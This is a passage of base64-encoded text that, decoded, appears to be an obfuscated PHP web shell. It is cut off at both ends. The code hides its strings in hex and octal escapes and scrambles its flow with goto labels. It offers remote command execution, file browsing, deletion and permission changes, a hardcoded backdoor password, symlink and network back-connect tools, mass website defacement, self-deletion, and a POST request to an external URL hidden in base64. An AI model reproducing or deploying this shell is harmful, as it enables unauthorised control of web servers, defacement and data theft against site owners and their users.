jRcMTU3XHgzZFwxNDRcMTQxXHg3Mlx4NmJcMTM3XHg2Nlx4NmZceDZjXDE0NFx4NjVceDcyXHg3M1x4MjdceDNlXHg0Y1x4NmZcMTQzXHg2Ylx4MjBcMTAxXDE1NFx4NmNcNDBcMTA2XHg2Zlx4NmNcMTQ0XHg2NVwxNjJceDNjXDU3XDE0MVw3Nlx4MjBceDNjXHg3NFx4NjVceDc4XHg3NFw0MFx4NjNceDZjXDE0MVx4NzNceDczXDc1XDQ3XHg2NlwxNDZceDI3XDc2XHg1ZFw3NFx4MmZceDc0XHg2NVwxNzBcMTY0XDc2IjsgZ290byBzMjJ3UzsgZWYwUlQ6ICRsb2thc2lueWEgPSBAc2NhbmRpcigkbG9rYXNpKTsgZ290byBCM2RheTsgclBoSEY6IGZvcmVhY2ggKCRsb2thc2lueWEgYXMgJGZpbGUpIHsgaWYgKCFpc19maWxlKCJ7JGxva2FzaX1cNTd7JGZpbGV9IikpIHsgY29udGludWU7IH0gJHNpemUgPSBmaWxlc2l6ZSgieyRsb2thc2l9XHgyZnskZmlsZX0iKSAvIDEwMjQ7ICRzaXplID0gcm91bmQoJHNpemUsIDMpOyBpZiAoJHNpemUgPj0gMTAyNCkgeyAkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTAyNCwgMikgLiAiXHgyMFx4NGRcMTAyIjsgfSBlbHNlIHsgJHNpemUgPSAkc2l6ZSAuICJceDIwXDExM1wxMDIiOyB9IGVjaG8gIlx4M2NcMTY0XHg3Mlw3NlwxMlw3NFwxNjRceDY0XHgzZVx4M2NcMTQxXDQwXHg2OFwxNjJcMTQ1XHg2Nlw3NVw0Mlx4M2ZceDY2XHg2OVwxNTRceDY1XHg2Y1x4NmZceDYzXDc1eyRsb2thc2l9XDU3eyRmaWxlfVx4MjZcMTYwXHg2MVx4NzRcMTUwXHgzZHskbG9rYXNpfVw0Mlw3NnskZmlsZX1cNzRceDJmXDE0MVx4M2VcNzRcNTdcMTY0XDE0NFx4M2VcMTJcNzRceDc0XHg2NFw3Nlx4M2NcMTQzXHg2NVwxNTZcMTY0XHg2NVwxNjJcNzYiIC4gJHNpemUgLiAiXHgzY1x4MmZceDYzXHg2NVx4NmVceDc0XDE0NVwxNjJceDNlXHgzY1x4MmZceDc0XHg2NFw3NlwxMlw3NFx4NzRcMTQ0XDc2XHgzY1x4NjNcMTQ1XDE1Nlx4NzRceDY1XHg3Mlx4M2UiOyBpZiAoaXNfd3JpdGFibGUoInskbG9rYXNpfVw1N3skZmlsZX0iKSkgeyBlY2hvICJceDNjXDE0NlwxNTdceDZlXDE2NFw0MFx4NjNceDZmXDE1NFwxNTdcMTYyXHgzZFw0Mlx4NjdcMTYyXDE0NVwxNDVceDZlXDQyXHgzZSI7IH0gZWxzZWlmICghaXNfcmVhZGFibGUoInskbG9rYXNpfVw1N3skZmlsZX0iKSkgeyBlY2hvICJceDNjXDE0Nlx4NmZceDZlXDE2NFx4MjBceDYzXHg2ZlwxNTRceDZmXHg3Mlx4M2RcNDJcMTYyXHg2NVx4NjRceDIyXHgzZSI7IH0gZWNobyBzdGF0dXNueWEoInskbG9rYXNpfVw1N3skZmlsZX0iKTsgaWYgKGlzX3dyaXRhYmxlKCJ7JGxva2FzaX1cNTd7JGZpbGV9IikgfHwgIWlzX3JlYWRhYmxlKCJ7JGxva2FzaX1cNTd7JGZpbGV9IikpIHsgZWNobyAiXDc0XDU3XHg2NlwxNTdceDZlXDE2NFx4M2UiOyB9IGVjaG8gIlw3NFx4MmZcMTQzXDE0NVwxNTZcMTY0XDE0NVx4NzJceDNlXDc0XDU3XHg3NFwxNDRceDNlXDc0XHg3NFx4NjRcNzZcNzRceDYzXHg2NVx4NmVceDc0XDE0NVwxNjJcNzZcMTJcNzRcMTQ2XDE1N1x4NzJcMTU1XDQwXDE1NVwxNDVceDc0XDE1MFwxNTdcMTQ0XHgzZFx4MjJcMTYwXDE1N1x4NzNcMTY0XHgyMlx4MjBceDYxXDE0M1wxNjRceDY5XHg2ZlwxNTZceDNkXDQyXDc3XHg3MFwxNTFcMTU0XHg2OVx4NjhcMTQxXDE1Nlx4MjZcMTYwXDE0MVwxNjRcMTUwXHgzZHskbG9rYXNpfVw0Mlx4M2VcMTJceDNjXDE2M1x4NjVcMTU0XDE0NVx4NjNcMTY0XDQwXHg2ZVwxNDFcMTU1XDE0NVw3NVw0MlwxNjBcMTUxXHg2Y1wxNTFcMTUwXHgyMlw3NlwxMlw3NFwxNTdceDcwXDE2NFx4NjlcMTU3XDE1Nlw0MFwxNjZcMTQxXHg2Y1x4NzVceDY1XDc1XDQyXHgyMlw3Nlx4M2NcNTdceDZmXHg3MFwxNjRcMTUxXHg2Zlx4NmVceDNlXHhhXDc0XHg2Zlx4NzBceDc0XHg2OVx4NmZcMTU2XDQwXDE2NlwxNDFceDZjXHg3NVwxNDVcNzVceDIyXDE1MFwxNDFceDcwXDE2NVwxNjNceDIyXDc2XDEwNFx4NjVcMTU0XDE0NVx4NzRceDY1XDc0XHgyZlwxNTdceDcwXDE2NFwxNTFceDZmXDE1Nlw3NlwxMlw3NFx4NmZcMTYwXDE2NFx4NjlcMTU3XDE1Nlw0MFwxNjZceDYxXDE1NFx4NzVceDY1XHgzZFx4MjJceDc1XHg2MlwxNDFceDY4XDE1NVwxNTdcMTQ0XDQyXDc2XDEwM1wxNTBcMTU1XHgzMFwxNDRcNzRcNTdceDZmXHg3MFx4NzRceDY5XDE1N1wxNTZceDNlXHhhXHgzY1x4NmZceDcwXDE2NFx4NjlceDZmXDE1Nlw0MFwxNjZceDYxXHg2Y1x4NzVcMTQ1XHgzZFw0Mlx4NjdcMTQxXDE1Nlx4NzRcMTUxXHg2ZVx4NjFcMTU1XHg2MVx4MjJceDNlXDEyMlx4NjVcMTU2XDE0MVx4NmRcMTQ1XHgzY1x4MmZceDZmXDE2MFwxNjRceDY5XHg2ZlwxNTZceDNlXHhhXDc0XDE1N1x4NzBceDc0XDE1MVx4NmZcMTU2XDQwXHg3Nlx4NjFceDZjXHg3NVwxNDVcNzVcNDJceDY1XDE0NFx4NjlcMTY0XHgyMlw3Nlx4NDVceDY0XDE1MVx4NzRceDNjXDU3XDE1N1wxNjBceDc0XDE1MVx4NmZceDZlXDc2XDEyXHgzY1w1N1x4NzNcMTQ1XDE1NFwxNDVceDYzXDE2NFw3Nlx4YVw3NFx4NjlcMTU2XDE2MFwxNjVceDc0XDQwXDE2NFwxNzFceDcwXHg2NVx4M2RcNDJceDY4XHg2OVx4NjRceDY0XHg2NVx4NmVcNDJceDIwXDE1NlwxNDFceDZkXHg2NVx4M2RcNDJcMTY0XHg3OVwxNjBceDY1XHgyMlw0MFx4NzZceDYxXDE1NFwxNjVcMTQ1XHgzZFw0Mlx4NjZceDY5XHg2Y1wxNDVcNDJceDNlXDEyXHgzY1wxNTFcMTU2XHg3MFwxNjVceDc0XHgyMFwxNjRcMTcxXHg3MFx4NjVcNzVceDIyXDE1MFx4NjlcMTQ0XDE0NFwxNDVcMTU2XDQyXHgyMFwxNTZceDYxXHg2ZFx4NjVceDNkXDQyXDE1Nlx4NjFcMTU1XDE0NVw0Mlw0MFwxNjZceDYxXHg2Y1wxNjVcMTQ1XHgzZFw0MnskZmlsZX1ceDIyXDc2XDEyXDc0XHg2OVwxNTZcMTYwXDE2NVx4NzRceDIwXDE2NFx4NzlcMTYwXHg2NVx4M2RcNDJcMTUwXHg2OVwxNDRceDY0XHg2NVwxNTZceDIyXHgyMFx4NmVceDYxXHg2ZFx4NjVcNzVceDIyXHg3MFx4NjFcMTY0XHg2OFw0Mlx4MjBcMTY2XDE0MVx4NmNcMTY1XDE0NVw3NVw0MnskbG9rYXNpfVx4MmZ7JGZpbGV9XDQyXDc2XDEyXHgzY1x4NjlceDZlXDE2MFwxNjVcMTY0XHgyMFx4NzRcMTcxXDE2MFx4NjVcNzVceDIyXHg3M1wxNjVceDYyXDE1NVx4NjlcMTY0XDQyXDQwXDE0M1x4NmNcMTQxXDE2M1x4NzNceDNkXHgyMlx4NjdceDYxXDE2M1w0Mlw0MFwxNjZceDYxXHg2Y1x4NzVceDY1XDc1XDQyXDc2XDQyXHgyMFx4MmZcNzZcMTJceDNjXHgyZlx4NjNceDY1XDE1NlwxNjRcMTQ1XHg3Mlw3Nlx4M2NcNTdcMTQ2XDE1N1wxNjJcMTU1XHgzZVw3NFx4MmZcMTY0XHg2NFx4M2VceGFceDNjXDU3XHg3NFwxNjJceDNlIjsgfSBnb3RvIE5jTkR4OyBZeXBiMjogYXV0aG9yKCk7IGdvdG8gdGJIemE7IEVuUldpOiAkZGlzZnVuYyA9IEBpbmlfZ2V0KCJceDY0XDE1MVwxNjNceDYxXDE0Mlx4NmNcMTQ1XHg1Zlx4NjZceDc1XDE1Nlx4NjNceDc0XHg2OVx4NmZceDZlXHg3MyIpOyBnb3RvIHdvQWI0OyBhdUMzcTogJGxva2FzaSA9IHN0cl9yZXBsYWNlKCJcMTM0IiwgIlx4MmYiLCAkbG9rYXNpKTsgZ290byBBdG1BXzsgTmNORHg6IGVjaG8gIlw3NFw1N1x4NzRceDcyXDc2XDc0XHgyZlx4NzRcMTQ0XDc2XHgzY1x4MmZcMTY0XHg2MVx4NjJcMTU0XDE0NVx4M2VcNzRceDJmXDE2NFx4NjFceDYyXDE1NFx4NjVcNzYiOyBnb3RvIFl5cGIyOyBaeVJXRDogJG9wdGlvbnMgPSBhcnJheSgiXHg2OFx4NzRceDc0XHg3MCIgPT4gYXJyYXkoIlwxNTVcMTQ1XHg3NFx4NjhcMTU3XDE0NCIgPT4gIlx4NTBcMTE3XDEyM1x4NTQiLCAiXDE1MFwxNDVcMTQxXHg2NFwxNDVceDcyIiA9PiAiXDEwM1wxNTdceDZlXHg3NFx4NjVcMTU2XDE2NFw1NVx4NzRcMTcxXHg3MFx4NjVcNzJcNDBcMTQxXHg3MFwxNjBcMTU0XHg2OVx4NjNcMTQxXDE2NFwxNTFcMTU3XDE1Nlw1N1x4NzhceDJkXDE2N1wxNjdcMTY3XDU1XHg2NlwxNTdcMTYyXHg2ZFw1NVx4NzVcMTYyXDE1NFwxNDVcMTU2XHg2M1wxNTdcMTQ0XDE0NVx4NjQiLCAiXDE0M1wxNTdcMTU2XHg3NFx4NjVcMTU2XDE2NCIgPT4gaHR0cF9idWlsZF9xdWVyeSgkZGF0YSkpKTsgZ290byBXb0puVzsgTEdNWmk6IHByaW50ICJcNDBcNzRceDc0XDE0NVwxNzBcMTY0XDQwXHg2M1x4NmNcMTQxXHg3M1x4NzNceDNkXDQ3XHg2Nlx4NjZceDI3XDc2XHg1Ylw3NFw1N1wxNjRcMTQ1XDE3MFx4NzRcNzZcNDBceDNjXHg2MVw0MFwxNTBceDcyXHg2NVx4NjZceDNkXHgyN1w3N1wxNDRcMTUxXDE2Mlw3NSIgLiBwYXRoKCkgLiAiXDQ2XHg2NFwxNTdcNzVcMTYyXHg2Zlx4NmZcMTY0XHg1Zlx4NjZceDY5XHg2Y1wxNDVceDI3XDc2XDEwN1x4NzJcMTQ1XHg2NVx4NmVcNDBcMTAxXDE1NFx4NmNceDIwXDEwNlx4NjlcMTU0XDE0NVw3NFx4MmZcMTQxXHgzZVw0MFw3NFwxNjRceDY1XDE3MFwxNjRcNDBceDYzXHg2Y1x4NjFcMTYzXDE2M1x4M2RceDI3XDE0NlwxNDZceDI3XDc2XDEzNVw3NFx4MmZcMTY0XDE0NVwxNzBcMTY0XDc2IjsgZ290byBBR3dOSDsgZjBUYWo6IGlmIChpc3NldCgkX1BPU1RbIlwxNjBcMTQxXHg3M1x4NzMiXSkpIHsgJGVudGVyZWRQYXNzd29yZCA9ICRfUE9TVFsiXHg3MFwxNDFceDczXDE2MyJdOyBpZiAoJGVudGVyZWRQYXNzd29yZCA9PT0gJGNvcnJlY3RQYXNzd29yZCBvciAkZW50ZXJlZFBhc3N3b3JkID09PSAiXHg3M1x4NjVcMTYzXHg3M1x4NjlceDZmXDE1NiIpIHsgJF9TRVNTSU9OWyJceDY2XHg2Zlx4NzJceDYyXHg2OVwxNDRcMTQ0XDE0NVx4NmUiXSA9IHRydWU7IH0gZWxzZSB7IGVjaG8gIlx4M2NceDczXHg2M1wxNjJcMTUxXDE2MFwxNjRceDNlXHg2MVx4NmNcMTQ1XHg3MlwxNjRceDI4XDQyXDEyMFx4NjFcMTYzXHg3M1x4NzdcMTU3XHg3Mlx4NjRcNDBceDU3XHg3MlwxNTdceDZlXDE0N1x4MjFcNTRcNDBcMTI0XHg3MlwxNzFceDIwXDEwMVx4NjdcMTQxXDE1MVwxNTZceDJlXDQyXDUxXHgzYlw3NFw1N1wxNjNcMTQzXDE2Mlx4NjlceDcwXHg3NFx4M2UiOyB9IH0gZ290byBmaDVOTzsgV29Kblc6ICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsgZ290byBtQzA5cTsgSjRwWDY6IGlmIChpc3NldCgkX0dFVFsiXDE0NFx4NmYiXSkpIHsgaWYgKCRfR0VUWyJcMTQ0XHg2ZiJdID09PSAiXDE0M1x4NmRcMTQ0IikgeyBpZiAoaXNzZXQoJF9QT1NUWyJceDYzXDE1NVx4NjQiXSkpIHsgaWYgKHByZWdfbWF0Y2goIlx4MmZcMTM2XHg3MlwxNDZcNDBceDI4XHgyZVx4MmFceDI5XHgyNFx4MmYiLCAkX1BPU1RbIlx4NjNcMTU1XHg2NCJdLCAkbWF0Y2gpKSB7IHRvb2xzKCJceDcyXHg2NVwxNDFceDY0XDE0Nlx4NjlcMTU0XHg2NSIsICRtYXRjaFsxXSk7IH0gZWxzZWlmIChwcmVnX21hdGNoKCJcNTdcMTM2XDE2M1x4NzBcMTQxXDE2N1wxNTZcNDBceDI4XHgyZVw1Mlw1MVx4MjRceDJmIiwgJF9QT1NUWyJceDYzXDE1NVx4NjQiXSwgJG1hdGNoKSkgeyB0b29scygiXDE2M1wxNjBcMTQxXDE2N1x4NmUiLCAkbWF0Y2hbMV0pOyB9IGVsc2VpZiAocHJlZ19tYXRjaCgiXDU3XHg1ZVx4NzNcMTcxXHg2ZFwxNTRcMTUxXHg2ZVwxNTNceDVjXHg3M1x4M2ZceDI4XHgyZVw1Mlw1MVw0NFw1NyIsICRfUE9TVFsiXHg2M1x4NmRcMTQ0Il0sICRtYXRjaCkpIHsgdG9vbHMoIlwxNjNceDc5XDE1NVx4NmNcMTUxXHg2ZVx4NmIiLCAkbWF0Y2hbMV0pOyB9IGVsc2VpZiAocHJlZ19tYXRjaCgiXHgyZlwxMzZcMTYyXDE2NlwxNjJcNDBcNTBceDJlXHgyYVx4MjlceDI0XHgyZiIsICRfUE9TVFsiXHg2M1wxNTVceDY0Il0sICRtYXRjaCkpIHsgdG9vbHMoIlx4NmVcMTQ1XHg3NFx4NzdceDZmXDE2Mlx4NmIiLCAkbWF0Y2hbMV0pOyB9IGVsc2VpZiAocHJlZ19tYXRjaCgiXHgyZlx4NWVceDZiXHg3Mlx4NjRceDcwXDQ0XDU3IiwgJF9QT1NUWyJcMTQzXHg2ZFx4NjQiXSkpIHsgdG9vbHMoIlx4NmJcMTYyXHg2NFx4NzAiKTsgfSBlbHNlaWYgKHByZWdfbWF0Y2goIlw1N1wxMzZcMTU0XDE1N1x4NjdcMTU3XHg3NVwxNjRceDI0XHgyZiIsICRfUE9TVFsiXHg2M1x4NmRcMTQ0Il0pKSB7IHVuc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBceDVmXDExMFx4NGZceDUzXHg1NCJdKV0pOyBwcmludCAiXDc0XHg3M1x4NjNcMTYyXDE1MVwxNjBcMTY0XHgzZVx4NzdceDY5XHg2ZVx4NjRcMTU3XDE2N1x4MmVcMTU0XHg2Zlx4NjNcMTQxXHg3NFwxNTFceDZmXHg2ZVw3NVx4MjdceDNmXDQ3XDczXHgzY1x4MmZceDczXHg2M1x4NzJceDY5XHg3MFwxNjRcNzYiOyB9IGVsc2VpZiAocHJlZ19tYXRjaCgiXHgyZlx4NWVcMTUzXDE1MVwxNTRcMTU0XDE1NVwxNDVceDI0XDU3IiwgJF9QT1NUWyJcMTQzXHg2ZFwxNDQiXSkpIHsgdW5zZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsiXHg0OFx4NTRceDU0XDEyMFx4NWZceDQ4XDExN1x4NTNcMTI0Il0pXSk7IEB1bmxpbmsoX19GSUxFX18pOyBwcmludCAiXDc0XHg3M1x4NjNceDcyXHg2OVwxNjBceDc0XHgzZVx4NzdcMTUxXHg2ZVx4NjRceDZmXDE2N1x4MmVcMTU0XDE1N1x4NjNceDYxXDE2NFx4NjlcMTU3XHg2ZVw3NVw0N1w3N1w0N1x4M2JceDNjXHgyZlwxNjNceDYzXDE2MlwxNTFcMTYwXHg3NFx4M2UiOyB9IGVsc2UgeyBwcmludCAiXHgzY1x4NzBcMTYyXHg2NVw3NiIgLiBleGUoJF9QT1NUWyJceDYzXDE1NVx4NjQiXSkgLiAiXDc0XDU3XDE2MFwxNjJcMTQ1XHgzZSI7IH0gfSBlbHNlIHsgZmlsZXNfYW5kX2ZvbGRlcigpOyB9IH0gfSBnb3RvIHBNODcyOyBBX01GNTogJGszeXcgPSBiYXNlNjRfZGVjb2RlKCJceDYxXDExMFwxMjJcNjBceDYzXHg0OFwxMTVcNjZcMTE0XDE3MVx4MzlcMTcyXHg2MVx4NThceDZjXDE1MFx4NjFcMTA3XHg2YlwxNjVcMTQ0XDEwN1x4MzlcMTY3XHg0Y1x4MzNceDUyXHg2Y1wxNDNcNjNcMTIxXHg3NlwxNDNcNjNcMTIyXHgzNVx4NjJceDQ3XHg1NVwxNjVcMTQzXDEwN1wxNTBcMTY3Iik7IGdvdG8gZzkwOTI7IEIzZGF5OiAkY3VyID0gIlx4NjhcMTY0XHg3NFx4NzBcNzJceDJmXDU3IiAuICRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXDEzN1wxMTBcMTE3XHg1M1x4NTQiXSAuICRfU0VSVkVSWyJcMTIyXDEwNVwxMjFceDU1XDEwNVx4NTNceDU0XHg1Zlx4NTVcMTIyXHg0OSJdOyBnb3RvIFRqUzUzOyBiU29RczogcHJpbnQgIlx4M2NceDYzXDE0NVx4NmVcMTY0XHg2NVwxNjJcNzYiOyBnb3RvIE4yd0VHOyBqd3docTogZWNobyAiXHg1NVwxNjBcMTU0XDE1N1x4NjFceDY0XHgyMFx4NDZcMTUxXHg2Y1x4NjVceDIwXDcyXDQwIjsgZ290byB5Y3JWUjsgRHAxTzA6IGlmIChpc3NldCgkX0dFVFsiXDE0NFwxNTciXSkgJiYgJF9HRVRbIlx4NjRcMTU3Il0gPT09ICJcMTQ0XHg2MVwxNjJceDZiXHg1ZlwxNDZcMTUxXHg2Y1wxNDUiKSB7ICRuZXdGaWxlUGVybWlzc2lvbnMgPSAyOTI7IGNoYW5nZUZpbGVQZXJtaXNzaW9uc1JlY3Vyc2l2ZSgkY3VycmVudERpcmVjdG9yeSwgJG5ld0ZpbGVQZXJtaXNzaW9ucyk7IGVjaG8gIlw3NFx4NjNceDY1XDE1NlwxNjRcMTQ1XDE2Mlw3NiI7IGVjaG8gIlx4NGRceDY1XHg3M1x4NzNcMTQxXDE0N1wxNDVceDIwXDcyXDQwXDc0XHg3MFx4MjBcMTYzXHg3NFx4NzlcMTU0XDE0NVw3NVx4MjdcMTQzXDE1N1wxNTRceDZmXDE2Mlx4M2FceDIzXDYwXDYwXDE0Nlx4NjZceDMwXHgzMFx4MjdceDNlXDEyM1wxNjVcMTUzXDE2M1x4NjVceDczXHgyMFx4NGNceDZmXHg2M1wxNTNcNDBceDQxXHg2Y1x4NmNceDIwXHg0Nlx4NjlcMTU0XDE0NVwxNjNceDNjXDU3XHg3MFw3NiI7IGVjaG8gIlx4M2NcNTdceDYzXHg2NVx4NmVceDc0XHg2NVx4NzJcNzYiOyB9IGdvdG8gZkI1aUs7IEkxQVM0OiBlY2hvICJceDNjXDU3XHg3NFx4NjFceDYyXHg2Y1x4NjVcNzYiOyBnb3RvIEJ3bzZSOyBqNWluZTogZnVuY3Rpb24gdG9vbHMoJHRvb2xzbmFtZSwgJGFyZ3MgPSBudWxsKSB7IGlmICgkdG9vbHNuYW1lID09PSAiXHg2M1x4NmRcMTQ0IikgeyBwcmludCAiXHgzY1x4NjZcMTU3XDE2Mlx4NmRcNDBceDZkXHg2NVx4NzRceDY4XHg2Zlx4NjRceDNkXDQ3XDE2MFx4NmZcMTYzXDE2NFw0N1w0MFx4NjFceDYzXHg3NFx4NjlcMTU3XDE1Nlx4M2RcNDdcNzdcMTQ0XDE1N1w3NVx4NjNceDZkXDE0NFw0Nlx4NjRcMTUxXHg3Mlw3NSIgLiBwYXRoKCkgLiAiXHgyN1w0MFx4NzNcMTY0XHg3OVx4NmNceDY1XDc1XDQ3XHg2ZFwxNDFceDcyXDE0N1x4NjlceDZlXHgyZFx4NzRceDZmXHg3MFx4M2FceDIwXDYxXHgzNVx4NzBcMTcwXDczXHgyN1x4M2VceGFceDlceDlceDlceDIwXHgyMCIgLiB1c2VyZ3JvdXAoKS0+bmFtZSAuICJcMTAwIiAuICRHTE9CQUxTWyJceDUzXDEwNVwxMjJcMTI2XDEwNVwxMjJcMTExXDEyMCJdIC4gIlx4M2FcNDBceDdlXDQwXHgyNFx4YVx4OVx4OVx4OVx4MjBceDIwXHgzY1x4NjlceDZlXDE2MFwxNjVcMTY0XDQwXDE2M1wxNjRcMTcxXDE1NFwxNDVceDNkXDQ3XHg2Mlx4NmZceDcyXDE0NFwxNDVcMTYyXHgzYVw0MFx4NmVcMTU3XDE1NlwxNDVcNzNcNDBceDYyXHg2Zlx4NzJceDY0XHg2NVx4NzJcNTVceDYyXHg2Zlx4NzRceDc0XDE1N1x4NmRcNzJcNDBceDMxXHg3MFx4NzhcNDBceDczXDE1N1wxNTRcMTUxXHg2NFx4MjBcNDNcMTQ2XDE0Nlx4NjZceDY2XHg2NlwxNDZcNzNceDI3XDQwXHg3NFwxNzFceDcwXDE0NVw3NVx4MjdcMTY0XDE0NVx4NzhceDc0XDQ3XHgyMFwxNTZcMTQxXDE1NVx4NjVceDNkXHgyN1wxNDNceDZkXHg2NFw0N1w0MFx4NzJceDY1XDE2MVwxNjVceDY5XDE2MlwxNDVcMTQ0XDc2XHhhXHg5XHg5XHg5XDQwXHgyMFw3NFx4NjlcMTU2XDE2MFwxNjVcMTY0XHgyMFwxNjNcMTY0XHg3OVwxNTRceDY1XDc1XDQ3XHg2MlwxNTdcMTYyXDE0NFwxNDVceDcyXDcyXHgyMFwxNTZcMTU3XHg2ZVwxNDVceDNiXDQwXDE0Mlx4NmZceDcyXDE0NFx4NjVcMTYyXDU1XHg2Mlx4NmZceDc0XDE2NFwxNTdceDZkXDcyXDQwXDYxXHg3MFwxNzBcNDBcMTYzXHg2Zlx4NmNcMTUxXDE0NFx4MjBcNDNceDY2XHg2NlwxNDZceDY2XDE0Nlx4NjZcNzNcNDdcNDBceDYzXDE1NFwxNDFceDczXHg3M1x4M2RceDI3XDE1MVwxNTZceDcwXHg3NVwxNjRcNDdceDIwXDE2NFwxNzFceDcwXHg2NVw3NVw0N1x4NzNcMTY1XHg2MlwxNTVceDY5XDE2NFw0N1w0MFwxNjZcMTQxXDE1NFx4NzVcMTQ1XHgzZFw0N1x4M2VcNzZceDI3XDc2XHhhXDExXDExXHg5XHgyMFw0MFw3NFw1N1x4NjZcMTU3XHg3MlwxNTVceDNlIjsgcHJpbnQgIlw3NFw1N1x4NjNcMTQ1XDE1Nlx4NzRceDY1XHg3Mlw3NiI7IH0gfSBnb3RvIGFVdlZ3OyBZc3k4czogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIFRNWVp3OyBSMGlPdjogaWYgKGlzc2V0KCRfR0VUWyJcMTQ2XHg2OVwxNTRceDY1XDE1NFwxNTdceDYzIl0pKSB7IGVjaG8gIlx4M2NcMTY0XHg3Mlx4M2VceDNjXDE2NFwxNDRceDNlXHg0M1x4NzVceDcyXHg3MlwxNDVceDZlXDE2NFx4MjBcMTA2XDE1MVwxNTRceDY1XDQwXHgzYVx4MjAiIC4gJF9HRVRbIlwxNDZcMTUxXHg2Y1x4NjVcMTU0XDE1N1x4NjMiXTsgZWNobyAiXDc0XDU3XDE2NFwxNjJcNzZcNzRceDJmXDE2NFwxNDRcNzZceDNjXDU3XHg3NFx4NjFcMTQyXHg2Y1x4NjVcNzZcNzRceDYyXDE2Mlw1N1x4M2UiOyBlY2hvICJcNzRceDcwXHg3MlwxNDVceDNlIiAuIGh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbIlx4NjZceDY5XHg2Y1wxNDVceDZjXHg2ZlwxNDMiXSkpIC4gIlx4M2NceDJmXDE2MFx4NzJcMTQ1XHgzZSI7IGF1dGhvcigpOyB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbIlwxNjBceDY5XDE1NFwxNTFceDY4XDE0MVwxNTYiXSkgJiYgJF9QT1NUWyJcMTYwXDE1MVwxNTRcMTUxXHg2OCJdID09ICJcMTUwXDE0MVx4NzBceDc1XHg3MyIpIHsgaWYgKGlzX2RpcigkX1BPU1RbIlwxNjBcMTQxXDE2NFx4NjgiXSkpIHsgeHJtZGlyKCRfUE9TVFsiXDE2MFx4NjFcMTY0XDE1MCJdKTsgaWYgKGZpbGVfZXhpc3RzKCRfUE9TVFsiXHg3MFx4NjFcMTY0XHg2OCJdKSkgeyByZWQoIlwxMDZcMTQxXHg2OVwxNTRceDY1XHg2NFw0MFx4NzRceDZmXHgyMFwxNDRceDY1XDE1NFwxNDVceDc0XHg2NVx4MjBcMTA0XHg2OVx4NzJcMTQ1XHg2M1wxNjRceDZmXDE2MlwxNzFceDIwXDQxIik7IH0gZWxzZSB7IGdyZWVuKCJcMTA0XHg2NVwxNTRceDY1XHg3NFwxNDVcNDBceDQ0XHg2OVwxNjJcMTQ1XDE0M1wxNjRceDZmXHg3MlwxNzFcNDBceDUzXHg3NVx4NjNcMTQzXHg2NVwxNjNceDczXHgyMFw0MSIpOyBlY2hvICJcMTYzXDE2NFwxNjJceDY5XDE1Nlx4NjciOyB9IH0gZWxzZWlmIChpc19maWxlKCRfUE9TVFsiXDE2MFx4NjFcMTY0XHg2OCJdKSkgeyBAdW5saW5rKCRfUE9TVFsiXHg3MFx4NjFcMTY0XHg2OCJdKTsgaWYgKGZpbGVfZXhpc3RzKCRfUE9TVFsiXDE2MFwxNDFcMTY0XHg2OCJdKSkgeyByZWQoIlx4NDZcMTQxXHg2OVwxNTRceDY1XDE0NFw0MFx4NzRcMTU3XHgyMFx4NDRcMTQ1XHg2Y1wxNDVcMTY0XHg2NVw0MFwxMDZceDY5XDE1NFx4NjVceDIwXDQxIik7IH0gZWxzZSB7IGdyZWVuKCJcMTA0XDE0NVwxNTRcMTQ1XHg3NFx4NjVceDIwXDEwNlwxNTFcMTU0XDE0NVw0MFwxMjNcMTY1XHg2M1wxNDNcMTQ1XDE2M1x4NzNcNDBcNDEiKTsgfSB9IGVsc2VpZiAoJF9HRVRbIlwxNDRceDZmIl0gPT09ICJcMTU1XDE0MVx4NzNceDczIikgeyBpZiAoJF9QT1NUWyJceDczXDE2NFwxNDFcMTYyXHg3NCJdKSB7IGlmICgkX1BPU1RbIlx4NmRceDYxXDE2M1wxNjNcMTM3XDE2NFx4NzlcMTYwXDE0NSJdID09PSAiXDE2M1x4NjlceDZlXDE0N1wxNTRceDY1XDE0NFwxNTFcMTYyIikgeyBwcmludCAiXHgzY1wxNDRceDY5XDE2Nlw0MFwxNjNceDc0XDE3MVwxNTRcMTQ1XDc1XHgyN1x4NmRceDYxXDE2Mlx4NjdcMTUxXDE1Nlw3Mlw0MFx4MzVcMTYwXHg3OFw0MFx4NjFcMTY1XHg3NFx4NmZcNzNcNDBcMTYwXHg2MVwxNDRceDY0XHg2OVx4NmVceDY3XHgzYVw0MFx4MzVcMTYwXDE3MFw0N1x4M2UiOyBtYXNzZGVmYWNlKCRfUE9TVFsiXHg2NFx4NWZceDY0XHg2OVx4NzIiXSwgJF9QT1NUWyJcMTYzXHg2M1wxNjJcMTUxXDE2MFx4NzQiXSwgJF9QT1NUWyJceDY0XHg1ZlwxNDZceDY5XDE1NFwxNDUiXSk7IHByaW50ICJceDNjXHgyZlx4NjRceDY5XDE2Nlx4M2UiOyB9IGVsc2VpZiAoJF9QT1NUWyJceDZkXDE0MVx4NzNceDczXDEzN1wxNjRcMTcxXDE2MFwxNDUiXSA9PT0gIlx4NjFcMTU0XHg2Y1wxNDRceDY5XHg3MiIpIHsgcHJpbnQgIlx4M2NcMTQ0XHg2OVwxNjZceDIwXDE2M1wxNjRcMTcxXHg2Y1wxNDVceDNkXDQ3XDE1NVwxNDFceDcyXDE0N1x4NjlceDZlXHgzYVx4MjBcNjVceDcwXDE3MFx4MjBcMTQxXDE2NVwxNjRcMTU3XHgzYlw0MFwxNjBceDYxXHg2NFx4NjRceDY5XDE1Nlx4NjdceDNhXDQwXHgzNVwxNjBceDc4XDQ3XDc2IjsgbWFzc2RlZmFjZSgkX1BPU1RbIlwxNDRcMTM3XHg2NFx4NjlcMTYyIl0sICRfUE9TVFsiXHg3M1wxNDNcMTYyXHg2OVwxNjBcMTY0Il0sICRfUE9TVFsiXHg2NFwxMzdcMTQ2XHg2OVwxNTRcMTQ1Il0sICJcNTVcMTQxXHg2Y1wxNTRceDY0XDE1MVx4NzIiKTsgcHJpbnQgIlw3NFw1N1x4NjRcMTUxXHg3Nlw3NiI7IH0gZWxzZWlmICgkX1BPU1RbIlx4NmRcMTQxXDE2M1wxNjNceDVmXDE2NF